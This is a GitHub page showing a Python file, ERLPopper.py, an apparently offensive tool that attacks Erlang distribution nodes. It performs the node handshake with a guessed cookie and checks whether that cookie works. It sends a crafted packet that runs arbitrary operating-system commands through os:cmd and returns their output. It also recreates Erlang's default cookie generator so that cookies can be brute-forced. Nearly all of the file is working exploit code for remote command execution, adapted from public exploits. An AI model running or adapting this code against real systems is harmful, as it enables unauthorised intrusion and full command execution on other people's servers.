-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathERLPopper.py
573 lines (457 loc) · 21.4 KB
/
ERLPopper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
import socket
from sys import stderr
from random import choice
from struct import pack, unpack
from string import ascii_uppercase
from hashlib import md5
from binascii import hexlify, unhexlify
class ERLPopper:
_UTF8 = "utf-8"
class Error(Exception):
pass
class StatusError(Exception):
def __init__(self, status, message):
self.status = status
self.message = message
class VersionError(Exception):
def __init__(self, version, message):
self.version = version
self.message = message
class EmptyResponseError(Exception):
def __init__(self, message):
self.message = message
def __init__(self, target, cookie, version=5, challenge=None, cmd=None, verbose=False):
(host, port) = target.split(':')
self.remote_host = host
self.remote_port = int(port)
self.cookie = cookie
self.challenge = challenge
self.cmd = cmd
self.version = version
self._VERBOSE = verbose
if self.version != 5:
# [TODO] Implement version 6 handshake
self._log_verbose(f"Version {self.version} not implemented.")
raise NotImplementedError()
# Generate a node name to identify as
#self.node_name = self._generate_node_name()
def _create_socket(self):
self._log_verbose(" _create_socket")
# Create a socket, die if none
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
assert(self._sock)
def _close_socket(self):
self._log_verbose(" _close_socket")
self._sock.shutdown(socket.SHUT_RDWR)
self._sock.close()
def _log_verbose(self, data):
# Print verbose output to stderr
# [TODO] automatic spacing based on this function's "distance" from parent?
if self._VERBOSE:
print(f"[d] {data}", file=stderr)
def _generate_node_name(self, n=6):
'''
Generate a node@host name for this instance.
'''
name = ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'
self._log_verbose(f"Generated node name: '{repr(name)}'")
return name
def _connect(self):
# Connect to target
self._log_verbose(f" Connecting to {self.remote_host}:{self.remote_port}")
self._sock.connect((self.remote_host, self.remote_port))
def _generate_name_packet_old(self, name=None):
'''
Old v5 format:
|--------|----|--------|----------------|-----------------------------------|
|\x00\x10|'n' |\x00\x05|\x00\x03\x49\x9c|NAME@node .... |
|--------|----|--------|----------------|-----------------------------------|
| | | | |
| | | | |-- our node name
| | | |
| | | |-- 32-bit capability flags bitfield:
| | | |-- See capability flags section below
| | |
| | |-- Version (always 5 for old format)
| |
| |-- Message tag ('n' for old format, 'N' for new)
|
|-- Message length set to 16 in this example for the length of the message that follows:
|-- 16 = 1 + 2 + 4 + len(node_name)
|-- Does not include these 2 bytes
Capability flags / distribution flags
http://erlang.org/doc/apps/erts/erl_dist_protocol.html#dflags
This is how we let the other node know about our capabilities. This value
was in the original exploit.
0x0003499c == 0b0000 0000 0011 0100 1001 1001 1100
| || | | | | | ||-- DFLAG_EXTENDED_REFERENCES
| || | | | | | |-- DFLAG_DIST_MONITOR
| || | | | | |-- DFLAG_FUN_TAGS
| || | | | |-- DFLAG_NEW_FUN_TAGS
| || | | |-- DFLAG_EXTENDED_PIDS_PORTS
| || | |-- DFLAG_NEW_FLOATS
| || |-- DFLAG_SMALL_ATOM_TAGS
| ||-- DFLAG__UTF8_ATOMS
| |-- DFLAG_MAP_TAG
|-- DFLAG_HANDSHAKE_23
This value didn't work on a different (newer??) implementation. Using
tcpdump I captured a session using the official erl and saw the flags
was different. Dropping in this new value allowed all tests to
complete successfully. Basically we're showing that we support more
options.
** = new
Consider changing:
-DFLAG_PUBLISHED: "The node is to be published and part of the global namespace."
-DFLAG_DIST_MONITOR_NAME: "The node impelemnts distributed named proces monitoring."
-DFLAG_EXPORT_PTR_TAG: "The nude understands the EXPORT_EXT tag."
-DFLAG_BIT_BINARIES: "The node understands the BIT_BINARY_EXT tag."
-DFLAG_UNICODE_IO,-DFLAG_DIST_HDR_ATOM_CACHE: "The node implements atom cache in distribution header."
+DFLAG_BIG_CREATION: "The node understands big node creation tags..."
-DFLAG_SEND_SENDER: Indicates we'll use the new SEND_SENDER control message.
0x00df7fbd == 0b0000 1101 1111 0111 1111 1011 1101
| || | |||| ||| |||| | || || |-- DFLAG_PUBLISHED**-
| || | |||| ||| |||| | || ||-- DFLAG_EXTENDED_REFERENCES
| || | |||| ||| |||| | || |-- DFLAG_DIST_MONITOR
| || | |||| ||| |||| | ||-- DFLAG_FUN_TAGS
| || | |||| ||| |||| | |-- DFLAG_DIST_MONITOR_NAME**-
| || | |||| ||| |||| |-- DFLAG_NEW_FUN_TAGS
| || | |||| ||| ||||-- DFLAG_EXTENDED_PIDS_PORTS
| || | |||| ||| |||-- DFLAG_EXPORT_PTR_TAG**-
| || | |||| ||| ||-- DFLAG_BIT_BINARIES**-
| || | |||| ||| |-- DFLAG_NEW_FLOATS
| || | |||| |||-- DFLAG_UNICODE_IO**-
| || | |||| ||-- DFLAG_DIST_HDR_ATOM_CACHE**-
| || | |||| |-- DFLAG_SMALL_ATOM_TAGS
| || | ||||-- DFLAG__UTF8_ATOMS
| || | |||-- DFLAG_MAP_TAG
| || | ||-- DFLAG_BIG_CREATION**+
| || | |-- DFLAG_SEND_SENDER**-
| || |-- DFLAG_SEQTRACE_LABELS**
| ||-- DFLAG_EXIT_PAYLOAD**
| |-- DFLAG_FRAGMENTS**
|-- DFLAG_HANDSHAKE_23 (still not set)
Tl; dr:
The only difference between the working and non working flags was the
addition of the DFLAG_BIG_CREATION bit (0x40000). New working value is 0x7499c
This will likely change as you encounter different distributions.
'''
if not name:
name = self._generate_node_name()
self.node_name = name
#packet = pack('!HcHI', 7 + len(name), b'n', self.version, 0x3499c) + bytes(name, self._UTF8)
packet = pack('!HcHI', 7 + len(name), b'n', self.version, 0x7499c) + bytes(name, self._UTF8)
return packet
def _generate_name_packet_new(self, name=None):
'''
New v6 format:
|--------|----|--------------------------------|--------|--------|----------|
|\x00\x18|'N' |\x00\x00\x00\x00\x00\x03\x49\x9c|???? |\x00\x0e|NAME@node |
|--------|----|--------------------------------|--------|--------|----------|
| | | | | |
| | | | | |-- our node name
| | | | |
| | | | |-- Nlen 16-bit length of node name
| | | |
| | | |-- Creation "is the node incarnation identifier
| | | |-- used by this node to create its PIDs, ports,
| | | |-- and references.
| | |
| | |-- 64-bit capability flags bitfield
| | |-- See capability flags section below
| |
| |-- Message tag ('N' for new format)
|
|-- Message length set to 24 for the length of the message that follows:
|-- 24 = 1 + 8 + 4 + 2 + len(node_name)
|-- Does not include these 2 bytes
Capability flags / distribution flags
Version 6 introduced the DFLAG_HANDSHAKE_23 which indicates this node
supports the OTP 23 handshake process. We must set this flag to show
we can do a handshake with newer nodes.
Setting that bit gives our v6_flags value 0x0103499c.
'''
if not name:
name = self._generate_node_name()
self.node_name = name
#name = "maik@ubu-brute01-maik"
packet = pack('!HcQIH', 15 + len(name), b'N', 0x103499c, 0xdeadbeef, len(name)) + bytes(name, self._UTF8)
return packet
def _send_name(self, name=None):
self._log_verbose(" _send_name")
if self.version == 5:
packet = self._generate_name_packet_old(name)
elif self.version == 6:
packet = self._generate_name_packet_new(name)
else:
raise self.VersionError(version=self.version, message=f"Invalid version: '{repr(self.version)}")
self._log_verbose(f" Generated name packet: '{repr(packet)}'")
try:
self._sock.sendall(packet)
except BrokenPipeError:
self._log_verbose(f" _send_name failed. Is host reachable?")
raise
def _recv_status(self):
'''
recv_status
'''
self._log_verbose(" recv_status")
# Receive 2 byte len
msg_len = self._sock.recv(2)
# Raise exception if empty
if msg_len == b'':
raise self.EmptyResponseError(message=f"Expected 2-byte integer length but got: '{repr(msg_len)}'")
self._log_verbose(f" Received msg_len: '{repr(msg_len)}'")
msg_len = int.from_bytes(msg_len, "big")
# Receive remainder of message
data = self._sock.recv(msg_len)
(tag, msg) = unpack(f'!c{msg_len-1}s', data[:msg_len])
# We are expecting 's' tag
assert(tag.decode(self._UTF8) == 's')
msg = msg.decode(self._UTF8)
self._log_verbose(f" Received msg: '{repr(msg)}'")
return msg
def _recv_challenge(self):
'''
recv_challenge
'''
self._log_verbose(" recv_challenge")
# Receive 2 byte len
msg_len = self._sock.recv(2)
self._log_verbose(f" Received msg_len: '{repr(msg_len)}'")
msg_len = int.from_bytes(msg_len, "big")
# Receive remainder of message
data = self._sock.recv(msg_len)
# 1 + 2 + 4 + 4 = 11
(tag, version, flags, challenge, name) = unpack(f'!cHII{msg_len-11}s', data[:msg_len])
self._log_verbose(f" Received tag: '{tag}', version: '{version}', flags: '{flags}', challenge: '{challenge}', name: '{name}'")
# We are expecting 'n' tag
assert(tag.decode(self._UTF8) == 'n')
return challenge
def _generate_challenge_reply_packet(self, challenge):
m = md5()
m.update(self.cookie.encode(self._UTF8))
m.update(str(challenge).encode(self._UTF8))
response = m.digest()
self._log_verbose(f" Generated digest: '{repr(response)}'")
packet = pack('!HcI', len(response)+5, b'r', challenge) + response
return packet
def _send_challenge_reply(self, challenge):
'''
send_challenge_reply
'''
self._log_verbose(" send_challenge_reply")
packet = self._generate_challenge_reply_packet(challenge)
self._log_verbose(f" Sending: {packet}")
self._sock.sendall(packet)
def _recv_challenge_ack(self):
'''
recv_challenge_ack
'''
self._log_verbose(" recv_challenge_ack")
# Receive 2 byte len
msg_len = self._sock.recv(2)
self._log_verbose(f" Received msg_len: '{repr(msg_len)}'")
msg_len = int.from_bytes(msg_len, "big")
# If the message returned doesn't include a digest then auth failed
if msg_len < 17: # 1 + 16
digest = False
else:
# Receive remainder of message
data = self._sock.recv(msg_len)
(tag, digest) = unpack(f'!c16s', data[:msg_len])
self._log_verbose(f" Received tag: '{tag}', digest: '{digest}'")
# We are expecting 'a' tag
assert(tag.decode(self._UTF8) == 'a')
return digest
def check_cookie(self, cookie=None, close=True):
if not cookie:
cookie = self.cookie
self._create_socket()
self._connect()
# Set the cookie every time so if we re-use this object (like for send_cmd) we are already set up
# Did the same thing with node_name
self.cookie = cookie
self._log_verbose(f" Trying cookie: '{repr(cookie)}'")
# _send_name
try:
self._send_name()
except self.VersionError as e:
self._close_socket()
raise
except BrokenPipeError as e:
self._log_verbose(f"Host not reachable: {self.remote_host}:{self.remote_port}")
self._close_socket()
return False
# recv_status
try:
status = self._recv_status()
except self.EmptyResponseError as e:
raise
#if status == 'alive':
# self._send_status('true')
#elif ...
result = False
if status == 'ok' or status == 'ok_simultaneous':
self._log_verbose(f" Got good status response: '{repr(status)}'")
challenge = self._recv_challenge()
# Not sure how useful this is
if self.challenge:
challenge = self.challenge
self._send_challenge_reply(challenge)
digest = self._recv_challenge_ack()
result = (digest != False)
else:
# 'not_allowed' and others
self._log_verbose(f" Got bad status response: '{repr(status)}'")
self._close_socket()
raise self.StatusError(status=status, message="The connection is disallowed for some (unspecified) security reason. Flags or version mismatch?")
if close:
self._close_socket()
return result
def _encode_string(self, in_str, t=0x64):
# Taken from erl-matter/shell-erldp.py
return pack('!BH', t, len(in_str)) + bytes(in_str, self._UTF8)
def _generate_cmd_packet_old(self, cmd, name=None):
# Taken from erl-matter/shell-erldp.py
# wetw0rk broke this down a lot better in his exploit, but both do the same job
# https://www.exploit-db.com/exploits/46024
packet = unhexlify('70836804610667')
packet += self._encode_string(name)
packet += unhexlify('0000000300000000006400006400037265')
packet += unhexlify('7883680267')
packet += self._encode_string(name)
packet += unhexlify('0000000300000000006805')
packet += self._encode_string('call')
packet += self._encode_string('os')
packet += self._encode_string('cmd')
packet += unhexlify('6c00000001')
packet += self._encode_string(cmd, 0x6b)
packet += unhexlify('6a')
packet += self._encode_string('user')
return pack('!I', len(packet)) + packet
def _generate_cmd_packet_new(self, cmd, name=None):
raise NotImplementedError
def _recv_cmd_resp_old(self):
'''
ERTS <= 5.7.2 (OTP R13B) inter-node message format
"Old" message format
|-----------------|----|---------------|--------------------|
|\x00\x00\x00\0xnn|\x70|ControlMessage | Message |
|-----------------|----|---------------|--------------------|
| | | |
| | | |-- "The message sent to another node using the '!' (in external format[??]).
| | | |-- Notice that Message is only passed in combination with a ControlMessage
| | | |-- encoding a send ('!')."
| | |
| | |-- "A tuple passed using the external format of erlang."
| |
| |-- Type (0x70 == 112) "pass through"
|
|-- 4-byte length
'''
# https://erlang.org/doc/apps/erts/erl_dist_protocol.html#protocol-between-connected-nodes
# Receive 4 byte length
msg_len = self._sock.recv(4)
msg_len = int.from_bytes(msg_len, "big")
self._log_verbose(f" Response msg_len: {msg_len}")
data = self._sock.recv(msg_len)
(t, msg) = unpack(f'!c{msg_len-1}s', data[:msg_len])
# We are expecting a type of 0x70 (112) followed by ControlMessage and possibly Message
assert(t == b'\x70')
self._log_verbose(f" msg: {repr(msg)}")
# Trying to shortcut the rest of this, but seems consistent on all 2 of my test systems. YMMV
# Yes we could be more intelligent (and use the erl python module but it's not native)
# [TODO] Congrats you found it! Sorry!
# Find b'\x83'
msg = msg[msg.find(b'\x83')+1:]
# Find b'\x83' again!
msg = msg[msg.find(b'\x83')+1:]
# Find 107 (STRING_EXT) and its 2 byte length
# This may not be there if there's no output from the command.
#msg = msg[msg.find(b'\x6b')+3:]
string_ext_loc = msg.find(b'\x6b')
if string_ext_loc > -1:
msg = msg[string_ext_loc+3:]
else:
# Couldn't find STRING_EXT, return raw response
msg = data
self._log_verbose(f" msg: {repr(msg)}")
return msg
def _recv_cmd_resp_new(self):
raise NotImplementedError
def _recv_cmd_resp(self):
'''
recv_cmd_resp_old
'''
res = ""
if self.version == 5:
res = self._recv_cmd_resp_old()
elif self.version == 6:
res = self._recv_cmd_resp_new()
else:
raise self.VersionError(version=self.version, message=f"Invalid version: '{repr(self.version)}")
return res
def _send_cmd(self, cmd, name=None):
self._log_verbose("_send_cmd")
if not name:
name = self.node_name
packet = ""
if self.version == 5:
packet = self._generate_cmd_packet_old(cmd, name)
elif self.version == 6:
packet = self._generate_cmd_packet_new(cmd, name)
else:
raise self.VersionError(version=self.version, message=f"Invalid version: '{repr(self.version)}")
self._sock.sendall(packet)
def check_cookie_send_cmd(self, cookie, cmd, name=None):
self._log_verbose("send_cmd")
# cmd is required
assert(cmd)
#if not cmd:
# raise ValueError("No command specified.")
# must have good cookie
if not self.check_cookie(cookie, close=False):
self._close_socket()
return ""
self._log_verbose(f" cmd: {cmd}, cookie: {self.cookie}, name: {self.node_name}")
#if not self.check_cookie():
# raise
# Do this after so the object is initialized to a ready state
# self.node_name is set with every self._send_name so don't need to track it
if not name:
name = self.node_name
packet = ""
if self.version == 5:
packet = self._generate_cmd_packet_old(cmd, name)
elif self.version == 6:
packet = self._generate_cmd_packet_new(cmd, name)
else:
raise self.VersionError(version=self.version, message=f"Invalid version: '{repr(self.version)}")
# Send the command payload
self._send_cmd(cmd, self.node_name)
# Receive and decode the output (if any)
res = self._recv_cmd_resp()
self._close_socket()
return res
# Adapted from erl-matter/erldp.c
@staticmethod
def _next_random(x):
ret = (x * 17059465 + 1) & 0xfffffffff
return ret
@staticmethod
# Adapted from erl-matter/erldp.c
def _create_cookie(seed, size=20):
x = seed
cookie = []
for i in range(size-1, -1, -1):
x = ERLPopper._next_random(x)
cookie.insert(0, chr(ord('A') + int((26*x) / 0x1000000000)))
return ''.join(cookie)
@staticmethod
def create_cookie_from_seed(seed, size=20):
'''
Attempts to reproduce the erlang default cookie generation method. Helpful for
brute forcing.
'''
return ERLPopper._create_cookie(seed, size)